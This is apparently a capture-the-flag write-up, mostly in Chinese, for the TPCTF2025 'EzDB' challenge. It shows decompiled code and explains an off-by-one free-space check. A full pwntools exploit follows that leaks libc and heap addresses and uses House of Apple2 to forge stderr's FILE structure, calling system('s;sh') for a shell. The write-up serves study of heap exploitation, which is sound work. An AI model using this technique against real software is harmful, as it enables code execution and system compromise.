[TPCTF2025] EzDB (House of Apple2)
int __fastcall main(int argc, const char **argv, const char **envp)
{
  TablePage *v3; // rbx
  void *Page; // rax
  __int64 v5; // rdx
  Record *v6; // rax
  __int16 *v7; // rax
  size_t v8; // rbx
  __int64 v9; // rax
  Record *v10; // rax
  __int16 v12; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int16 inserted; // [rsp+2h] [rbp-4Eh]
  int op; // [rsp+4h] [rbp-4Ch] BYREF
  unsigned int v15; // [rsp+8h] [rbp-48h] BYREF
  int i; // [rsp+Ch] [rbp-44h]
  Record *v17; // [rsp+10h] [rbp-40h]
  Record *v18; // [rsp+18h] [rbp-38h]
  int v19[6]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v20; // [rsp+38h] [rbp-18h]

  v20 = __readfsqword(0x28u);
  init();
  for ( i = 0; i <= 15; ++i )
    *((_QWORD *)&pages + i) = 0LL;              // 初始化0x10张pages,每张8字节,bss段,存放指针
  while ( 1 )
  {
    print_operations();
    __isoc99_scanf("%d", &op);
    switch ( op )
    {
      case 1:
        printf("Index: ");
        __isoc99_scanf("%d", v19);
        if ( v19[0] >= 0x10u )
          goto DEAD_invalid;
        if ( *((_QWORD *)&pages + v19[0]) )
        {
          puts("Table Page already exists");
        }
        else
        {
          v3 = (TablePage *)operator new(0x20uLL);// malloc一块0x20大小的堆块
                                                // 0x0: 记录下面0x400堆块地址
                                                // 0x8: 记录下面0x400堆块地址
                                                // 0x10:记录下面0x400堆块地址+0x400
                                                // 0x18:记录下面0x400堆块地址
          TablePage::TablePage(v3);             // 这里malloc了一块0x400的堆
          *((_QWORD *)&pages + v19[0]) = v3;    // 记录0x20堆块地址
          puts("Table Page created");
        }
        continue;
      case 2:
        printf("Table Page Index: ");
        __isoc99_scanf("%d", v19);
        if ( v19[0] >= 0x10u )
          goto DEAD_invalid;
        if ( !*((_QWORD *)&pages + v19[0]) )
          goto DEAD_not_exist;
        Page = (void *)TablePage::GetPage(*((TablePage **)&pages + v19[0]));// 获取堆块地址
        free(Page);
        v5 = 8LL * v19[0];
        if ( *(_QWORD *)((char *)&pages + v5) )
          operator delete(*(void **)((char *)&pages + v5), 0x20uLL);// 清理堆块中残留信息
        *((_QWORD *)&pages + v19[0]) = 0LL;     // 清理记录的堆块地址,没有UAF
        puts("Table Page removed");
        break;
      case 3:
        printf("Index: ");
        __isoc99_scanf("%d", v19);
        if ( v19[0] >= 0x10u )
          goto DEAD_invalid;
        if ( !*((_QWORD *)&pages + v19[0]) )
          goto DEAD_not_exist;
        v6 = (Record *)operator new(0x10uLL);   // 开辟0x10空间记录Record信息
                                                // 0x0-0x8:大小信息
                                                // 0x8-0x10:存放内容所在地址信息
        *(_WORD *)v6 = 0;
        *((_QWORD *)v6 + 1) = 0LL;              // 初始化
        v18 = v6;
        printf("Varchar Length: ");
        __isoc99_scanf("%hd", v18);             // 读入short int, 也就是长度最多为 0x7fff
                                                // 但是一个page最多0x400空间,多了会直接炸掉
        if ( *(_WORD *)v18 )                    // 长度不为0
        {
          *((_QWORD *)v18 + 1) = operator new[](*(__int16 *)v18);// 开辟对应大小空间
          printf("Varchar: ");
          read(0, *((void **)v18 + 1), *(__int16 *)v18);// 读入Record内容
          inserted = TablePage::InsertRecord(*((TablePage **)&pages + v19[0]), v18);
          if ( *((_QWORD *)v18 + 1) )           // 清空记录的信息
            operator delete[](*((void **)v18 + 1));
          if ( v18 )
            operator delete(v18, 0x10uLL);      // 把这0x10空间也还回去
          printf("Record inserted, slot id: %d\n", inserted);
        }
        else
        {
          puts("Invalid varchar length");
          if ( v18 )
            operator delete(v18, 0x10uLL);
        }
        break;
      case 4:
        printf("Index: ");
        __isoc99_scanf("%d", &v15);
        if ( v15 >= 0x10 )
          goto DEAD_invalid;
        if ( !*((_QWORD *)&pages + (int)v15) )
          goto DEAD_not_exist;
        printf("Slot ID: ");
        __isoc99_scanf("%hd", &v12);
        TablePage::GetRecord((TablePage *)v19, *((_QWORD *)&pages + (int)v15));
        if ( (unsigned __int8)std::operator!=<Record>(v19, 0LL) )
        {
          v7 = (__int16 *)std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(v19);
          printf("Varchar Length: %d\n", (unsigned int)*v7);
          printf("Varchar: ");
          v8 = *(__int16 *)std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(v19);
          v9 = std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(v19);
          write(1, *(const void **)(v9 + 8), v8);
          putchar(10);
        }
        else
        {
          puts("Record not found");
        }
        std::shared_ptr<Record>::~shared_ptr(v19);
        break;
      case 5:
        printf("Index: ");
        __isoc99_scanf("%d", v19);
        printf("Slot ID: ");
        __isoc99_scanf("%hd", &v15);
        if ( v19[0] < 0x10u )
        {
          if ( *((_QWORD *)&pages + v19[0]) )
          {
            v10 = (Record *)operator new(0x10uLL);
            *(_WORD *)v10 = 0;
            *((_QWORD *)v10 + 1) = 0LL;
            v17 = v10;
            printf("Varchar Length: ");
            __isoc99_scanf("%hd", v17);         // 虽然可以重写length,但EditRecord中存在校验,新length不能比老的length还大
            *((_QWORD *)v17 + 1) = operator new[](*(__int16 *)v17);
            printf("Varchar: ");
            read(0, *((void **)v17 + 1), *(__int16 *)v17);
            if ( (unsigned __int8)TablePage::EditRecord(*((TablePage **)&pages + v19[0]), v15, v17) )
              puts("Record edited");
            else
              puts("Record Illegal edit");
          }
          else
          {
DEAD_not_exist:
            puts("Table Page does not exist");
          }
        }
        else
        {
DEAD_invalid:
          puts("Invalid index");
        }
        break;
      default:
        return 0;
    }
  }
}
__int16 __fastcall TablePage::InsertRecord(TablePage *this, Record *a2)
{
  int Size; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]

  Size = Record::GetSize(a2);                   // 获取size大小
  if ( TablePage::GetFreeSpaceSize(this) < (unsigned __int64)(Size + 4LL) )// 只需满足free_size >= size+4即可
    return -1;                                  // 也就是错误时候返回的slot_id=65535
  LOWORD(v4) = (_WORD)this->end_ptr - Size - *(_QWORD *)&this->a;// 0x400-size
  HIWORD(v4) = Size;
  *this->start_ptr++ = v4;
  memcpy((char *)this->end_ptr - Size, a2->content_ptr, Size);
  this->end_ptr = (int *)((char *)this->end_ptr - Size);
  return (unsigned __int16)(LOWORD(this->start_ptr) - 4 - this->a) >> 2;
}
__int64 __fastcall TablePage::GetFreeSpaceSize(TablePage *this)
{
  return *((_QWORD *)this + 2) - *((_QWORD *)this + 1) + 1LL;
}

这个 GetFreeSpaceSize 故意多放了 1 Byte,也就是整个程序的漏洞所在。本身只有 0x400 大小,但这边认为是 0x401, 所以自己填 Size 最大 0x3fd 可以通过校验,同时也会发生溢出。

代码有点复杂,做个实验就好理解数据是怎么存储的了:

存储的内容是从 0x400 这个堆块的尾部开始填充的,而开头则是以 ”剩余 size(2Bytes) + 本次消耗 size(2Bytes)” 的格式依次填充的。

CWD:  AX  符号位拓展到 DX
CDQ:  EAX 符号位拓展到 EDX
CQO:  RAX 符号位拓展到 RDX
CBW:  AL  符号位拓展到 DX
CWDE: AX  符号位拓展到 EAX
CDQE: EAX 符号位拓展到 RAX(Convert Doubleword to Quadword with Sign-Extension)

Tablepage 0x20 大小 4 个指针还没搞清楚具体是干嘛的,第二个大概是 start_ptr,第三个则是 end_ptr. 当我们填入最大可填的 size 即 0x3fd 时,start_ptr 指向的位置(也就是 0x400 堆块的开头)会被写入

0x0000 0000 03fd 0003

再看 memcpy :

memcpy((char *)this->end_ptr - Size, a2->content_ptr, Size);

0x400 – 0x3fd = 0x3, 也就是从第 3 个字节开始写入的,把原本在内存上的 0x03 给覆盖掉了,从而能导致一系列溢出。

再来看它是怎么输出的:

TablePage::GetRecord((TablePage *)v19, (TablePage *)pages[v15], v12);
TablePage *__fastcall TablePage::GetRecord(TablePage *this, TablePage *a2, unsigned __int16 a3)
{
  unsigned __int16 *v5; // [rsp+20h] [rbp-10h]
  __int64 v6; // [rsp+28h] [rbp-8h]

  if ( a3 < (unsigned __int16)TablePage::GetSlotNum(a2) )
  {
    v5 = (unsigned __int16 *)&a2->next_ptr[a3];
    v6 = operator new(0x10uLL);
    *(_WORD *)v6 = v5[1];
    *(_QWORD *)(v6 + 8) = *v5 + *(_QWORD *)&a2->a;
    std::shared_ptr<Record>::shared_ptr<Record,void>(this, v6);
  }
  else
  {
    std::shared_ptr<Record>::shared_ptr(this, 0LL);
  }
  return this;
}
__int16 __fastcall TablePage::GetSlotNum(TablePage *this)
{
  return (unsigned __int16)(*((_WORD *)this + 4) - *(_WORD *)this) >> 2;// WORD的this+4不就是QWORD的this+1吗,那不就是this->start吗
}

通过计算 start 的偏移除以 4 就能得到这个 Page 里面有几个 Slot.

由于 libc 版本是 2.35,故首先想到打 House of Apple2.

显然我们需要控制 IO_FILE 流,但是这道题又挺特别,不需要我们通过 unsortedbin/largebin attack 去把 stderr 的 _chain 改成堆上地址再在堆上进行 IO_FILE 结构体的伪造——这个 InsertRecord 函数是先在堆块里写入内容再根据相应 Page 中提供的指针插入的。因此我们只需要篡改 Page 里的指针,再调用 InsertRecord 即可直接篡改 stderr/stdout/stdin 这类 IO_FILE.

第一次成功应用 House of Apple2,可喜可贺!

from pwn import *

io = process('./db')
libc = ELF('./libc.so.6')
elf = ELF('./db')

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# gdb.attach(io, "b check_match")
# gdb.attach(io, "b exit")

def cmd(c):
    io.recvuntil(b">>> ")
    io.sendline(str(c))

def create(index):
    cmd(1)
    io.recvuntil(b"Index: ")
    io.sendline(str(index))

def remove(index):
    cmd(2)
    io.recvuntil(b"Index: ")
    io.sendline(str(index))

def insert(index, len, varchar):
    cmd(3)
    io.recvuntil(b"Index: ")
    io.sendline(str(index))
    io.recvuntil(b"Length: ")
    io.sendline(str(len))
    io.recvuntil(b"Varchar: ")
    io.send(varchar)
    # io.recvuntil("slot id: ")
    # return int(io.recvline().strip())

def get(index, slot_id):
    cmd(4)
    io.recvuntil(b"Index: ")
    io.sendline(str(index))
    io.recvuntil(b"Slot ID: ")
    io.sendline(str(slot_id))

def edit(index, slot_id, len, varchar):
    cmd(5)
    io.recvuntil(b"Index: ")
    io.sendline(str(index))
    io.recvuntil(b"Slot ID: ")
    io.sendline(str(slot_id))
    io.recvuntil(b"Length: ")
    io.sendline(str(len))
    io.recvuntil(b"Varchar: ")
    io.send(varchar)

# fill tcache
# create 0-9
for i in range(10):
    create(i)
# remove 3-9
for i in range(7):
    remove(i+3)
# remove 1 into unsortedbin(remain 0, 2)
# 0 to overflow; 2 to keep 1 not be consolidated
remove(1)

# overflow (can overwrite high 1 byte of size)
# new size: 0x??fd
insert(0, 0x3fd, b'\x08'+b"A"*0x3fc)
get(0, 0)

# leak libc & heap
io.recvuntil(b'A'*0x3fc)
leak = io.recv(0x450)
print(leak)
leak_heap = u64(leak[0x20:0x26].ljust(8, b'\x00'))
print(hex(leak_heap))
leak_stack = u64(leak[0x80:0x86].ljust(8, b'\x00'))
print(hex(leak_stack))

heap_base = leak_heap - 0x12720
libc_base = leak_stack - 0x21ace0
print('heap_base:', hex(heap_base))
print('libc_base:', hex(libc_base))

# house of apple2
# get targets
_IO_2_1_stderr_ = libc_base + libc.sym['_IO_2_1_stderr_']
_IO_wstrn_jumps = libc_base + 0x216dc0 # _IO_wstrn_jumps 总是在 _IO_2_1_stdout_ 前面 0x5000 左右的位置
system = libc_base + libc.sym['system']
print('_IO_2_1_stderr_:', hex(_IO_2_1_stderr_))
print('_IO_wstrn_jumps:', hex(_IO_wstrn_jumps))
print('system:', hex(system))

for i in range(7):
    create(i+3)
# pause()

# fake_wide_vtable
page_4_addr = heap_base + 0x140e0
payload = flat({
    0x18 : system,
}, filler=b'\x00')
insert(4, len(payload), payload)
fake_wide_vtable = page_4_addr + 0x400 - len(payload)
print('page_4_addr:', hex(page_4_addr))
print('fake_wide_vtable:', hex(fake_wide_vtable))
# pause()
# fake_wide_data
page_5_addr = heap_base + 0x13ca0
payload = flat({
    0xe0 : fake_wide_vtable, # _wide_vtable
    0x20 : 1                 # pass check
}, filler=b'\x00')
insert(5, len(payload), payload)
fake_wide_data = page_5_addr + 0x400 - len(payload)
print('page_5_addr:', hex(page_5_addr))
print('fake_wide_data:', hex(fake_wide_data))


# fake _IO_FILE (should be 'inserted' into _IO_2_1_stderr_)
# attention : 这里打的 _IO_wdefault_xsgetn 相关链,过校验需要 test _flags, 0x800; 故不能直接写 "  sh",而 "s;sh" 则既能过校验,又能作为 system() 的参数,最后调用 system("s;sh") 仍然可以成功获得shell
fake_IO_FILE = flat({
    0x0 : b"s;sh", # _flags; test _flags, 0x800(_flags & 0x800)
    # 下面这些不需要伪造
    # 0x8 : libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_read_ptr
    # 0x10: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_read_end
    # 0x18: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_read_base
    # 0x20: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_write_base
    # 0x28: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_write_ptr
    # 0x30: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_write_end
    # 0x38: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_buf_base
    # 0x40: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_buf_end
    0x48: 0, # _IO_save_base
    0x50: 0, # _IO_backup_base
    0x58: 0, # _IO_save_end
    0x60: 0, # _markers
    # 0x68: libc_base + libc.sym['_IO_2_1_stdout_'], # _chain
    # 0x70: 2, # _fileno
    # 0x78: -1, # _old_offset
    0x88: libc_base + 0x21ca60, # _lock; 必须伪造
    # 0x90 : -1,     # _offset
    0xc0 : 1,      # _mode
    0xd8 : _IO_wstrn_jumps - 0x20, # vtable
    0xa0 : fake_wide_data,         # _wide_data
}, filler=b'\x00')
# fake Page
# Page: base, start, end, magic
# write_in addr: end-now_size -> _IO_2_1_stderr_
fake_page = flat(
    _IO_2_1_stderr_ + len(fake_IO_FILE) - 0x400, # base
    _IO_2_1_stderr_ + len(fake_IO_FILE) - 0x400, # start
    _IO_2_1_stderr_ + len(fake_IO_FILE),         # end
    _IO_2_1_stderr_ + len(fake_IO_FILE) - 0x400, # magic
)
print('fake_page:', _IO_2_1_stderr_ + len(fake_IO_FILE))

# 再泄露一次保证篡改后面的内容时不影响前面的东西
get(0, 0)
leak = io.recv(0x8fd + 0x1e)
leak = leak[0x1e:]
print(leak)
payload = flat(
    leak[:0x84d],
    fake_page,
    leak[0x84d+0x20:]
)
edit(0, 0, len(payload), payload)
insert(2, len(fake_IO_FILE), fake_IO_FILE)

# trigger
cmd(6)

io.interactive()
上一篇
下一篇